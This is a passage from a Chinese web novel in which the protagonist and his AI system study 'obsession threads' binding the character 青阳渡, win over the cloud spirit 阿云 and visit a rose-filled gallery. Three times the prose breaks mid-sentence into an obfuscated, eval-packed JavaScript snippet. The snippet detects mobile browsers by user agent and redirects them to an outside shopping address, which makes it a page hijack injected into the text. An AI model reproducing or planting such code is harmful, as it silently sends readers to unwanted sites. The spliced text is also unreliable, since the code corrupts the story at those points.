坐在凳子上刷手机的阿姨看见他们过来,忙收了手机,站起来招呼他们。 “哎哟,小沈来啦!”阿姨笑得眼睛眯成一条缝,目光往赵四身上一落,更亮了。 “这不是青阳顾问吗?好久没见了!上次来还是……去年?前年?” 赵四笑了笑,没纠正她的时间感。 阿姨继续热情输出:“还是和沈队长一起啊?我记得以前你俩就老一块来,那会儿小沈还没当队长呢,天天跟在你后头——” “阿姨。”沈恕适时打断她,语气平平淡淡的,“两份饭,照旧。” 阿姨“哎”了一声,笑着摆手:“行行行,不说了不说了,你们快去坐着,我给你们打!” 赵四正要往窗口走,肩膀忽然被一只手按住了。 “坐着。”沈恕的声音从头顶传来,“我去打。” 赵四被按在空位上坐下,看着沈恕端着餐盘走向窗口。 他的背影在暖黄色的灯光下显得轮廓柔和了不少。 赵四看着他和阿姨交谈了几句,然后自己拐进窗口,熟门熟路地打好两份饭菜,又稳稳端着走出来。 所有动作都像是做过无数次一样自然。 沈恕就这样端着两个餐盘回来了,他把其中一个放到赵四面前后,在他对面坐下。 糖醋排骨,西红柿鸡蛋,一个花卷,配上一碗小米粥。 赵四看着餐盘里的菜,伸筷子尝了尝糖醋排骨的酱汁。 酸甜口,糖放得挺足。 他又尝了尝西红柿鸡蛋——也是偏甜的。 MK3000的声音在脑子里响起:【青阳渡是甜党。】 它切到窗口那边的监控看了一眼,又补充道:【那边有四个菜,沈恕没打的两个菜都不是青阳渡喜欢的。】 赵四没说话,只是又夹了一筷子排骨。 他注意到筷子的摆放方式,那不是随便放的,而是整整齐齐地搁在餐盘边缘,伸手就能拿到。 他的手边还压着几张餐巾纸,随时可以抽用。 沈恕对青阳渡的照顾,就像他身上延伸出来的那些丝线一样,把人缠得密不透风。 想到这,赵四瞥了一眼那些丝线。 因为距离的缘故,它们果然变得更凝实了。 比在车上时粗了一圈,亮度也高了几分,像是被什么东西激活了一样。 相对而坐的两个人被通过这种方式连接在一起,只是看了一眼,赵四就觉得脑子有点发沉。 他不好形容现在的感觉。 那是只存在于意识上的重量,是一种说不出来的沉重。 像是有什么东西压在那里,不疼,不痒,但就是让你知道它存在。 而且这玩意正在随着时间的流逝,变得越来越重。 赵四垂下眼睫,稳了稳有些颤抖的手,才又夹起一筷子鸡蛋放进嘴里。 味道不错。 那些丝线随着他的动作微微震颤了一下。 缥缈而虚幻的一声叹息般的“青阳”,在意识深处轻轻响起。 赵四面不改色的继续吃饭。 这期间他感觉到沈恕一直在关注着他。 那种注意很隐晦,不是盯着看,而是用余光,用眼角,用那种“我只是随便看看”的方式。 ……但赵四知道他在看。 MK3000吃了口糖,语气微妙:【沈恕也知道你知道他在看你。】 什么绕口令。 赵四在黏着自己的视线中,保持着自己的节奏继续吃饭。 在双方的心知肚明中吃完这顿饭,沈恕仍坚持要送他回家。 “不用这么麻烦。”赵四说。 沈恕看着他,语气平平淡淡,但莫名让人觉得没有商量的余地。 他说:“不麻烦。” 于是赵四没有再推辞。 车子驶入夜色。 城市的灯火在车窗外飞速掠过,红的、黄的、白的,交织成一片流动的光河。 高架桥上的路灯一排排往后退,像是什么人在黑暗中划出的一道道光痕。 赵四靠在副驾驶的椅背上,看似随意地看着窗外。 他的注意力一直在那些丝线上。 MK3000时时关注着它们的状态,在路过某栋大楼的时候,它忽然开口:【专员,注意看左边那栋楼。】 赵四的目光微微一动。 那是一栋普通的居民楼,灯火通明,阳台上还晾着衣服。 有人在厨房里忙碌,有人坐在客厅看电视,生活气息扑面而来。 但那些丝线—— 从沈恕身上延伸出来的丝线,有一部分忽然变得凝实起来。 不是全部,只是其中几根。 它们变得更加明亮,更加清晰,像是被什么东西激活了一样。 而那几根丝线延伸的方向,正是那栋居民楼。 【什么人在那里?】赵四问。 MK3000已经开始扫描了:【三楼,朝南的那户。一个中年女人,正在客厅里看电视。】 赵四看着那些凝实的丝线,想到了很多。 那个中年女人是谁,她和青阳渡有过什么交集? 车子继续向前。 很快赵四就学会了凡事不多想,因为这样的情况在这一路上出现了很多次。 有时是居民楼,有时是路边的小店,有时是擦肩而过的行人。 一个低头看手机的青年,一个牵着小女孩的妈妈,一个在路边抽烟的中年男人…… 那些丝线时而凝实,时而暗淡,像是被某种看不见的东西触发着。 MK3000的语气里带上了点凝重:【这座城市不算太大,短短一段路,就已经遇到了至少十一个对青阳渡有特殊执念的人。】 赵四明白MK3000的意思。 看起来这只是十一个人,但是要知道,这只是短短一段路。 从沈恕办公室到华南佳苑,满打满算二十分钟车程。 这段路放在这座城市里,根本算不了什么。 以这个概率来推算,这个城市里还有多少这样的人? 如果范围再放宽些,放到整个国家、整个世界呢? 【三儿。】赵四的声音有点沉,【还有没算进去的——咱们忘了那些“构造体”。】 是了。 除了人类,还有其他能够产生情绪和执念的存在。 那些来过事务所的,那些被青阳渡“渡”过的,那些念过他名字的—— 它们也会留下这样的丝线吗? 青阳渡这三百年,和太多存在产生了联系。 每一个被他帮助过的,每一个听过他名字的,每一个被他“渡”过的—— 他们可能不会每一个都对青阳渡产生执念,但只要一百个里,有那么一个留下了这样一根丝线…… 一根看不见的、无形的、却随着执念而永远存在的丝线。 三百年,会有多少呢? 天文数字。 青阳渡目前还没彻底变成一个庞大的移动毛线球,可能得感谢人类的寿命不算长吧。 MK3000:【那句话怎么说来着,人死债消?】 ——产生执念的个体彻底死亡后,那些丝线是不是就会消失了? 赵四觉得有可能,但是吧。 【……也许是这样,但是我总觉得这里还有坑等着我。】 至于坑是什么? 很遗憾,赵四目前还不知道。 车跑的很稳,当熟悉的小区出现在前面,赵四说:“就停这儿吧。” 沈恕看了他一眼,似乎想说什么。 赵四打断他:“你先回去。我去买点东西。” 沈恕原本要说的话咽了回去,只说:“那明天下午两点我来接你。” 赵四点点头,推门下车。 他站在路边,看着沈恕的车掉头,驶入夜色。 那些丝线随着车子的远去被拉长,越拉越长,越拉越细,最后颜色缓缓转淡,几乎隐藏在了夜色中。 但赵四知道,它们还在。 只要沈恕对青阳渡的执念还在,那些丝线就不会消失。 他收回目光,转身走进小区,但他没有急着回家。 他在302的楼下转了转。 这栋楼已经是这座小区最边缘的居民楼了,再往外就是围墙。 赵四前几天看过,围墙外面是一条僻静的小路,白天也没什么人走。 他走到楼侧,沿着墙根慢慢走。 小七昨天的时候说过,那天他们上门之前,最先找到胡主任的地方,就是这儿。 赵四停下来,看着眼前的绿化带。 很普通的绿化带,种着些冬青和月季,有几株长得格外茂盛。 夜风吹过,那些植物的叶片轻轻晃动,发出沙沙的声响。 【三儿,检测一下这里的虚沼能量。】 MK3000应了一声,开始扫描。 几秒后,它的声音响起:【有残留,很淡,但确实存在。】 赵四继续往前走。 走了大概二十米,MK3000忽然说:【等等。】 赵四停下来。 【这里。】MK3000说,【这里的能量残留浓度,比刚才那地方高了至少三倍。】 赵四低头看向脚下的地面。 很普通的草地,有几株月季,叶子同样在夜风中轻轻晃动。 它们和刚才那些月季没什么区别,都是小区里常见的品种。 他蹲下来,凑近看了看那些月季。 其中几株月季的叶片,边缘微微有些发蔫。 不是缺水的那种蔫,而是…… MK3000:【像是被冻过。】 赵四伸出手,碰了碰那几片叶子。 冰凉的。 不是植物本身的那种凉,而是一种能轻微刺痛皮肤的凉意,像是刚从冰箱里拿出来的东西。 他站起身,看向四周。 这里的位置很隐蔽,正好是楼侧的阴影里。 外面是一条小路,路灯照不到这边,从外面不容易看见。 【就是这儿了。】赵四说,【阿云待过的地方。】 他抬起手腕,另一只手敲了敲助手一号的表盘。 “一号,问你件事。” 助手一号的光闪了闪。 “主人,对待助手一号,您不用这么客气。” 赵四笑了笑,没接这茬,转而问道:“你既然能当得了表世界的手机,那在里世界,你能联系到其他构造体吗?” 助手一号的语气里带上了点得意:“只要来过事务所的构造体主动留下了它们的气息,我就可以找到它们!” “真厉害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324771|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 赵四的夸奖真心实意,MK3000倒是梗了梗。 它幽幽地开口:【专员。】 【嗯?】 【我刚才又仔细扫描了一遍助手一号的程序。】 赵四等着它往下说。 MK3000的语气复杂极了,像是在面对一个既熟悉又陌生的东西。 【它现在……已经不是我当初分出去的那段程序了。】 【怎么说?】 【那手表有问题,里面有一段青阳渡留下的属于他的助手一号的“情绪”……我把那叫“助手一号人格病毒”。】 【现在这个助手一号,是我分出去的那点程序和青阳渡留下的东西融合之后的产物。】 赵四听懂了。 【所以它现在不是你的分身了?】 【不是了。】MK3000的语气里带着点微妙的惆怅,【它现在有完整的本世界资料库,能联系构造体,能给咱们全方位辅助——但是……它已经不完全属于我了。】 助手一号,真正变成了这个任务世界中的“助手一号”。 赵四的脑子处理完这段信息量颇大的消息,然后在心里长长地叹了口气。 【三儿。】 【嗯。】 【你的程序……它脏了……】 MK3000差点被自己嘴里的糖呛到。 【你能不能正经点!】它控诉道,【我这是在跟你汇报重大发现!】 赵四笑了,语气放软:【我知道,这不是想让你别那么难受吗。】 MK3000沉默了一秒,然后小声说:【……是有点难受。】 虽然是它自己给出去的程序,但是那依然是自己啊! 就这么莫名其妙被别人掺和了,总有种不适的别扭感。 赵四想了想,安慰道:【这个世界结束后,咱们一块去找主系统要精神损失费。】 MK3000惆怅地又磕了一把糖。 事情已经发生了,还能撂挑子不干咋地。 它吃完糖又振作起来,【接下来是要联系阿云吗?】 【当然,我对她有点猜测要验证一下。】 【冒险吗?】 【你要相信我啊,搭档。】 MK3000:【……】 它懂了,这就是冒险的意思。 但它只问了一句:【胜算高吗?】 赵四认真想了想。 【那要看阿云对青阳渡的执念有多深了。】他说,【不过不管怎么样,我都不会有生命危险的。】 那很好了。 还有保底呢。 MK3000最终选择相信赵四。 赵四效率超高地又敲了敲助手一号:“现在帮我联系阿云,就说我在事务所等她。” 助手一号的光闪了闪,语气里带着点雀跃:“好的主人!” 话音刚落,赵四就感觉到周围的空气有了微妙的变化。 这变化持续的时间很短,等周围一切正常后,助手一号欢快的声音响起:“主人,阿云已经到事务所啦!” 这效率还挺高。 赵四最后看了一眼那几株叶片发蔫的月季,然后转身,往家的方向走去。 夜风轻轻吹过。 那些丝线还在黑暗中微微颤动,一根一根,连向看不见的远方。 …… 赵四推开事务所的门时,阿云已经在了。 她飘在半空中,正无聊地给自己凹造型——一会儿把自己捏成心形,一会儿摊平成云片糕,一会儿又团成毛线球。 整团云边缘的光随着形状变化一闪一闪的,像是在自娱自乐。 看见赵四进来,她的光倏地亮了一下。 “来啦?” 赵四点点头,在沙发上坐下。 壁炉里的火焰跳动着,橙红色的光映在墙上那幅画上。 画里的人影依旧模糊,但今晚看起来,那层水雾似乎又薄了一点。 阿云飘到他面前,上上下下打量了他一圈。 那目光带着点审视,带着点好奇,还带着点说不清道不明的意味。 “难得啊,大侦探找我找得这么急。”她的声音里带着点调侃,“有什么事儿?” 赵四选择开门见山。 “阿云,我再问你一次——你那天晚上,来找我到底是干什么的?” 阿云的光渐渐弱了下去。 她沉默了几秒,然后云雾翻涌,给自己拼了张虚幻的人脸。 那是一张娇俏的少女面孔,眉眼弯弯,却带着点藏的很好的试探。 她眨眨眼,“之前不是说过了吗?我看你状态不好,怕你出事——” “真的吗?” “哎呀,这个……” “我想听真话。” 整个房间安静下来。 只有壁炉里的火焰噼啪作响,偶尔有一两点火星溅出来,落在阿云不自觉伸展开的身体上。 那火焰点不着东西,但是很奇异的是,阿云的云团状身体被烧出了好几个不起眼的小窟窿。 阿云脸上的笑容一点一点收了起来。 那张虚幻的面孔在火光中明明灭灭,像是一张正在褪色的画。 过了很久,她才开口。 “你想听真话,还是假话?” 赵四说:“先听听假话。” 阿云的面孔隐去了。 她重新变成一团云雾,边缘的光闪了闪,像是在笑。 “假话就是——”她的语气又轻快起来,“我就是来帮你打扫卫生的,顺便看看你死没死。死了就给你收尸,没死就继续当你的清洁工。” 赵四点点头,“挺好的,所以真话呢?” 阿云飘近了一点。 近得赵四能看清她边缘那些细小的、微微颤动的雾气,能感受到她身上传来的那股若有若无的凉意。 那张虚幻的人脸再次浮现,就在他面前不到一尺的地方。 “真话是——” 她的声音压得很低,低得几乎要被壁炉的火光吞没。 “我来确认你还是不是‘你’呀,大侦探。” 壁炉发出一声“噼啪”声,就在这时,MK3000的声音响起。 【提示一下,目标阿云的能量波动指数异常。】 专员面板上的红色提示灯应声亮起,刺目的红光在视野边缘闪烁,一串串数值正在疯狂刷新。 阿云的能量波动已经突破了常规阈值,还在持续攀升。 赵四连眼皮都没抬一下。 他甚至没有分神去看面板上那些爆表的数字,只是漫不经心地靠在沙发背上,给自己换了个更舒服的姿势。 火焰在壁炉里跳动,光影在他脸上明明灭灭。 他抬起眼,看向面前那张近在咫尺的虚幻面孔,语气里带着点饶有兴致的催促: “那么你确认的结果是……?” 64.第64章 玫瑰战争22 阿云盯着他。 那张虚幻的人脸上,眉眼之间的云雾正在缓慢流动。 她的目光从赵四的眼睛滑到嘴角,从嘴角滑到眉梢,像是在用另一种方式重新认识眼前这个人。 然后,那些缭绕的云雾开始铺散开来。 先是淡淡的,像晨雾一样漫过地板。 然后越来越浓,越来越密,从脚踝漫到膝盖,从膝盖漫到腰际…… 最后,整个事务所都被她的雾气填满了。 壁炉里的火焰在雾中跳动,光影变得模糊而诡异。 墙上那幅画里的人影几乎要被雾气吞没,只剩下一个若有若无的轮廓。 书架、办公桌、会客簿,目之所及的一切,全都笼罩在一片朦胧的灰白之中。 赵四坐在沙发上,雾气已经漫到了他的胸口。 那些雾气在他周围缓缓旋转,像是无数只眼睛正在打量他,审视他,等待他露出什么破绽。 被包围了的赵四却连呼吸的频率都没变,他只是含着笑意看这那张虚幻的脸庞,目光平静得像是在看一场与自己无关的表演。 二者僵持片刻,云雾骤然停止了涌动。 一时间,连空气都好像被冻结了。 赵四稳住了,他在心中呼唤自己的外挂,【三儿?】 MK3000无愧于外挂之名,它很靠谱的给出了赵四目前最需要的答案:【检测到异常能量波动开始回稳。】 【倒计时,三、二、一——】 MK3000的声音落下,那些雾气果然开始缓缓收回。 从胸口到腰际,从腰际再到膝盖,最后从膝盖流至地板…… 那些缥缈的云雾最后全部缩回阿云体内,一丝不剩。 事务所恢复了原样。 壁炉里的火焰重新跳得欢快,墙上那幅画也清晰起来。 一切的一切恢复如常。 阿云笑了起来。 那张虚幻的人脸上,眉眼弯弯,嘴角上扬,带着点狡黠,也带着点释然。 她看了赵四一眼。 就是这一眼,赵四感觉到身上有什么东西一松。 那些从阿云身上延伸出来的、若有若无地缠绕在他周围的丝线,突然断了。 只有几根,和总量比起来,细得几乎看不见。 但断了就是断了,赵四的呼吸微微一轻。 像是有什么一直压着他的东西,终于被挪开了一点点。 阿云轻快地说道:“哎呀,你果然不是先生。” MK3000的声音几乎同时响起:【专员,阿云的能量波动异常峰值彻底消失,现在所有数据稳定在正常范围内。】 于是赵四知道,他赌赢了。 果然,阿云往后退了一点继续说:“但我也确认好了,你也不是个坏蛋。” 赵四虚心求问:“阿云小姐的判断依据是?” “先生这么做,必然有他的道理。”阿云理所当然道,“他从来不做没道理的事。” “这么相信他?” 阿云的光闪了闪,很肯定的说:“当然。” 她飘在半空中,无形的目光一点点拂过事务所里所有的有形之物。 那目光像是在看这些东西,又像是在透过它们回忆着什么。 她曾经听青阳渡说起过很多东西。 他说那些无名无姓的构造体们,说他遇到的有趣人类,也说……他名字的来历。 从得了“青阳渡”这个名字后,他便开始了漫长的苦旅。 在这趟长达三百年的旅途中,最开始,有人叫他“阴差”、“渡魂使者”。 那时候他走在夜里,走在人间的边缘,把那些迷失的灵魂一个一个送回去。 后来,有人叫他“青阳真君”。 那些被他渡过的生灵给他立了祠,烧了香火,把他当成神明一样供奉。 再后来,人间变了。 那些神啊鬼啊的东西被人遗忘,他又成了风水先生,每天坐在小小的铺子里,给那些有求于他的人指点迷津。 再再后来,就是现在了。 他是“虚沼顾问”,是“专治各种想不开”的侦探,是沈恕口中那个“十三年交情的朋友”。 三百年。 他独自一人,跋涉过时间的长河,看着身边星河斗转,生灵来来去去。 他明明有着足以让时间为他倾覆的力量,却从来没用过。 他只是一直在做一件事。 ……渡灵。 渡人即渡己,死死生生。 往来皆因果,如是如是。 说到底,名为“阿云”的构造体,也不过是他所渡生灵万物的其中一个罢了。 但是,但是啊…… 是青阳渡从她身边偶然路过。 也是青阳渡给了她一个名字。 更是青阳渡帮她找到了存在于世的那个理由。 她又怎么能不信他? 阿云眨了眨眼。 只是一瞬间,那点回忆往事的怅惘就消失的无影无踪。 她拍了拍会客簿,又指了指赵四的手腕,语气重新变得活泼起来。 “而且你看——连助手一号和会客簿都认可你了!会客簿给你看,助手一号给你用,这不就是青阳的意思吗?” 她顿了顿,语气笃定。 “我相信青阳,也相信它们,所以,我也相信现在的你。” 赵四看着她。 那张虚幻的人脸上,眉眼弯弯,嘴角上扬。 要让赵四来评价的话,他会说这是一个很拟人的表情。 MK3000表示:【那你这个形容也是很拟人了。】 【倒也不用把我直接开除人籍吧?】 MK3000从善如流地肯定道:【专员当然是人类的榜样。】 赵四失笑,把目光重新落回阿云身上。 “阿云,”他说,“你很聪明。” 阿云愣了一下,显然没想到这频道怎么直接就蹦到夸夸阶段了。 “我是说真的。”赵四的语气很认真,“理智,聪慧,沉得住气——你比很多人类都强多了,怪不得青‘我’要把重要的钥匙交到你手里。” 阿云的光倏地亮了起来,又很快被压下去。 那张虚幻的人脸上,竟然隐约浮现出一抹红晕。 “哎——”她的声音都飘了,“你……你说话还挺好听的嘛……” “我只是在说实话罢了。”赵四笑笑,对阿云说道,“那么,聪明可爱的阿云小姐,来帮帮我?” 阿云在半空中转了个圈,云雾翻涌,像是一团炸开的棉花糖。 这团棉花糖腻着嗓子,真像是糖果成精了似得说话说的甜甜蜜蜜。 “现在这么会说话,态度还这么好的小哥真是打着灯笼也难找……行啊,不知名的‘不是坏蛋’先生,你这忙我帮了!” 赵四笑着点头,还应阿云的要求,很正式的和云雾幻化出来的大手握了握手。 仪式感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329690|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搞完,阿云清了清嗓子,问起正事。 “所以你今晚找我到底要干什么?可别告诉我,你只是为了确认我的立场而已。” 那当然……不会,他找她确实有事。 “阿云,明天有心情陪我去个地方看看吗?” 阿云眨了眨眼:“去哪儿?” “画廊。” 阿云长长的“哦”了一声。 “画廊啊……”她飘近了一点,神秘兮兮地问,“我是给你当保镖,还是给你当女伴?” 赵四失笑:“全凭阿云姑娘做主。” 阿云歪了歪头,像是在认真思考这个问题。 赵四能看出来阿云在头脑风暴——毕竟它的身体里都开始肉眼可见的电闪雷鸣了。 他没说话打扰阿云思考,只是安静的等待她选择的结果。 MK3000:【你还挺会压榨人的。】 赵四故作不解:【压榨谁?阿云?】 【不然呢?】MK3000的触手拍了拍自己坐的椅子扶手,把自己拍的一震一震的。 【你听听你刚才说的——‘保镖还是女伴’、‘全凭阿云姑娘开心’——套路太深了。】 实际上阿云选哪个根本不重要。 重要的是,不管阿云选哪个,只要她跟着赵四去了,赵四就达成了他的目的—— 保镖有了。 明天和沈恕也不用单独相处了。 鉴于沈恕目前还有疑点,还能顺道让阿云试试沈恕的深浅。 简直一举三得。 这算盘打的,系统在操作间都听见响声了。 赵四笑了:【作为一个打个照面就怀疑起我不是青阳渡本人的存在……阿云会不知道这些吗?】 MK3000当然知道阿云知道赵四的想法。 它只是忍不住想吐槽一下赵四而已。 【那不就结了。】赵四伸了个懒腰,【她知道我在用她,也知道我需要她。所以一会阿云一定会答应——不是因为我,是因为青阳渡。】 他顿了顿,语气里带上了点感慨。 【她信青阳渡,信青阳渡不会害她,也信青阳渡选的人不会错。】 【所以她愿意帮我,愿意冒险,愿意配合我演这出戏。】 MK3000:【这云还挺好的。】 【嗯。】赵四点点头,【是挺好的。】 阿云还在那里碎碎念。 “保镖吧,显得我能打;女伴吧,显得我好看……” “我能都当吗?我那人类变身术修炼的也算能用吧……” “说起来明天穿什么好呢……白色的?太普通……红色的?太招摇……哎呀好难选!” 她又转了几圈,才最终下了决心似地停下来。 “我要跟你去,不过身份嘛,要听起来厉害又漂亮的。” 赵四颔首,“当然可以。” 阿云又问:“明天几点?” “下午两点,302楼下,会有人来接我们。” “好嘞!”阿云比了个“OK”的手势,“我一定准时到!” 然后她推开事务所的门,飘了出去。 门在身后关上。 房间里重新安静下来,只有壁炉里的火焰噼啪作响。 赵四还窝在沙发里,闭上眼睛感受了一下自己的状态。 不一会,他睁开眼睛。 【三儿啊。】他若有所思地问,【你说我身上这线,到底是以什么为契机断掉的呢?】 65.第65章 玫瑰战争23 阿云和其他人最大的区别,就在于她知道赵四不是青阳渡。 其他人把情感寄托在“青阳渡”这个存在上,而阿云的情感,只属于真正的那个青阳渡。 这意味着什么? 意味着她不会把自己对青阳渡的情感,转移到赵四身上。 赵四靠在沙发上,脑子里却转得飞快。 他的最终任务从来不是秘密——剪断、分离、重塑。 之前他一直不太确定,所谓的“剪断”到底要剪什么。 那些丝线出现的时候,他隐约有了猜测。 而刚才阿云身上那几根线断掉的瞬间,猜测变成了确认。 执念线。 要剪的,就是这些缠在青阳渡身上的执念线。 任务的第一步,是要替青阳渡处理掉这身乱七八糟的线? 赵四想了想这些线的性质——来自三百年来无数生灵的执念,沉甸甸地压在一个人身上。 他轻轻“呵”了一声。 这可真是……挥剑斩情丝。 【但是阿云这个例子太特殊了。】MK3000在他脑子里说,【她是因为知道了“你”不是青阳渡后才断开的。这个条件,没有普及的可能。】 赵四点点头。 是啊。 他不可能将自己不是青阳渡的消息昭告天下。 那太麻烦了,而且会带来不可预知的后果。 【所以得找几个人先试验一下。】赵四想了想,比了个手刀的手势,【用数据和案例说话吧,看看怎么样才能最快地斩掉这些线。】 MK3000问他:【你打算拿谁做实验?】 赵四认真想了想。 沈恕? 他几乎是立刻就否决了。 不行,太危险了。 沈恕本身并不可控,情绪复杂,执念深重,拿他做实验无异于玩火。 比起用他,赵四更倾向于在路上随机抓人——就抓那种对“青阳渡”执念不深、影响也不大的普通人。 【从明天开始,分析一下这些线断掉对持有人的影响。】赵四说,【如果没什么特别影响的话,我们就可以放手去“斩情丝”了。】 MK3000没什么意见,只是补充道:【记得让助手一号配合收集数据,它现在可比我了解这个世界。】 一人一统好好合计了一番,敲定了初步计划。 壁炉里的火焰噼啪作响,将整个房间染上一层温暖的橙红。 赵四靠在沙发里,看着那些跳动的火光,慢慢闭上了眼睛。 明天。 又是新的一天。 …… 第二天下午,两点整。 302楼下。 今天阳光很好,照得整条街都亮堂堂的。 深秋的天很高,云很淡,偶尔有一两片梧桐叶从枝头飘落,打着旋儿落在地上,发出轻微的沙沙声。 赵四站在门口,左边站着沈恕,右边还有一个笑盈盈挽住他臂弯的白裙子姑娘。 姑娘看着二十出头的年纪,长发披散在肩上,被阳光镀上一层柔和的光晕。 她的眉目画一般的精致,可以说是“远山含黛,秋水横波”的现实版本。 再配上那眉眼弯弯的笑颜,姑娘整个人好看得简直在发光。 别说,和青阳渡的皮相简直是绝配。 两个人的组合往这里一站,路过的人不管在干什么,都得往这边多看两眼。 而沈恕—— 他已经不自觉看了很多眼了。 赵四注意到他的目光,大大方方地介绍。 “沈队长,这是我朋友,阿云。她对艺术类的东西很敏感,正好今天有空,就一起过来了。” 沈恕点点头,目光在阿云脸上停了一瞬,又移开。 “你好。”他的语气很客气,客气得有点冷淡。 阿云回了他一个乖巧的笑容。 那双眼睛,此刻正幽幽地泛着柔和的光。 倒不是晚上那种刺眼的手电筒,而是恰到好处的、人类该有的光泽。 眼波流转间,带着恰到好处的灵动。 MK3000给阿云的表演打了高分:【人类模板这次套得很完美……这次说她拟人绝对是在夸她。】 赵四也在心里给阿云点了个赞。 三人上车,仍由沈恕做司机。 车子驶入车流。 阿云坐在后座,一会儿看看窗外,一会儿看看沈恕,一会儿又看看赵四,像一只好奇的猫。 她那双眼睛亮晶晶的,看什么都新鲜。 过了一会儿,她忽然开口:“沈队长,你开车技术真好。” 沈恕从后视镜里看了她一眼:“谢谢。” “不客气不客气。”阿云笑眯眯的,语气里带着点自来熟的热情,“我就是实话实说。你这车开得又稳又快,比我见过的很多司机都强。” 沈恕没说话。 阿云继续说:“你平时工作很忙吧?我看你眼底下有点青,是不是经常熬夜?” 沈恕:“还好。” “还好就是不好的意思。”阿云煞有介事地分析道,“不过也是,你们那个工作肯定不轻松。我听青阳说过,你们经常要处理那些乱七八糟的事,有时候一熬就是一整夜。” 沈恕的动作微微一顿。 他下意识先看了看赵四的方向——那一眼很快,快到像是条件反射——看完才又看了阿云一眼。 那目光里带着点微妙的东西,像是在重新打量这个看起来单纯无害的姑娘。 阿云浑然不觉,继续热情输出:“不过你长得好看,就算熬夜也不显老。不像有些人,熬一晚上就跟被抽干了似的,蔫得不行,你这就叫底子雄厚,经得住耗——” 这话听着像是夸人,但阿云就这么说出来,反而带着十足的阴阳怪气。 赵四看了一眼沈恕。 沈恕的表情很平静,但握着方向盘的手指微微收紧了一点。 那变化很细微,普通人根本看不出来。 MK3000分分钟甩出一叠分析结果。 【根据刚才沈恕一系列的肢体语言来看,沈恕招架不住阿云这种类型。】 赵四心里的那个小人摊摊手:【显然。】 阿云还在继续输出。 “沈队长,你平时有什么爱好吗?休息的时候喜欢做什么?我猜你一定喜欢运动,你看起来就很健康——” 沈恕沉默了一会儿,然后干巴巴地吐出一个词来:“看书。” “看书好呀,我也喜欢看书!”阿云的眼睛亮了,像是找到了共同话题,“你平时看什么书?小说?历史?还是你们专业的那种——” 沈恕:“专业书。” 阿云愣了一下,然后“哦”了一声。 那语气里带着点“好吧这个话题聊不下去了”的意思,尾音拖得长长的,像是一只泄了气的皮球。 但她很快又找到新的话题:“那你喜欢吃什么?我听说你们食堂挺不错的,有没有什么特别推荐的菜——” 赵四看着这场对话,心里只有一个想法:【这对口相声说的有点意思。】 他们努力维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333613|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持表面上平静祥和的表演,比精心排演的节目还要好看几分。 看着相处别别扭扭的两个人,MK3000连数据捏出来的瓜子都多磕了一斤:【这俩完全是强行营业啊。】 赵四深以为然。 他深知沈恕和阿云还没打起来全靠“青阳渡”的面子,但这并不影响他看乐子。 车子最终在一处艺术街区停下。 这里是有名的艺术区,街道两旁的建筑都带着独特的风格。 有复古的红砖墙,有现代的玻璃幕墙,有涂鸦满墙的老厂房,有精致雅致的小画廊。 街边的咖啡馆里坐着三三两两的人,有的在聊天,有的在看书,有的只是发呆。 空气里飘着咖啡的香气,混着秋天特有的那种清冽,让人不自觉地放松下来。 三人下车,往街区深处走去。 赵四一边走,一边留意着周围的环境。 【三儿,记一下这里的布局。】 MK3000应了一声,开始扫描记录。 走到一栋建筑前,他们停下来。 这是一栋六层的小楼,外立面是灰白色的石材,嵌着几扇巨大的玻璃窗。 阳光照在石材上,泛着温润的光泽。 门口挂着一块低调的铜牌,上面刻着几个字:晨阳工作室。 电梯直达六楼。 门一打开,迎面就是一面巨大的玻璃墙。 彩色的玻璃拼接成一幅抽象的画,红黄蓝绿交织在一起,像是某个画家随手涂下的灵感。 玻璃擦得一尘不染,阳光透过彩色的玻璃,在地面上投下斑驳的光影。 绕过这块玻璃墙后,映入眼帘的是一间宽敞明亮的画廊。 纯白色的墙壁,柔和的射灯,墙上挂着大大小小的画作。 有抽象的,有具象的,有浓墨重彩的,有清淡雅致的……每一幅都有一种共同的气质。 那些画里,都有玫瑰。 不是作为主体,而是作为点缀。 角落里的一抹红,背景里的一片花瓣,构图中若有若无的影子。 有些画里玫瑰藏得很深,要仔细看才能发现; 有些画里玫瑰开得张扬,几乎占据了整个画面。 赵四的目光从那些画上一一扫过。 然后,他的脚步几不可查地顿了一下。 一直有在留意赵四的阿云和沈恕,几乎是同时带着疑问看向他。 那目光里写着:怎么了? 赵四给两人递了个眼神——别看我,看画。 两人不情不愿地收回了目光。 赵四随便挑了一个方向朝里走。 他在某幅画面前停下来,试图从抽象的颜色和线条中,探寻出其主笔人的秘密。 那是一幅很大的画,占据了整整一面墙。 画面中央是一片混沌的灰白,边缘却晕染出浓烈的红。 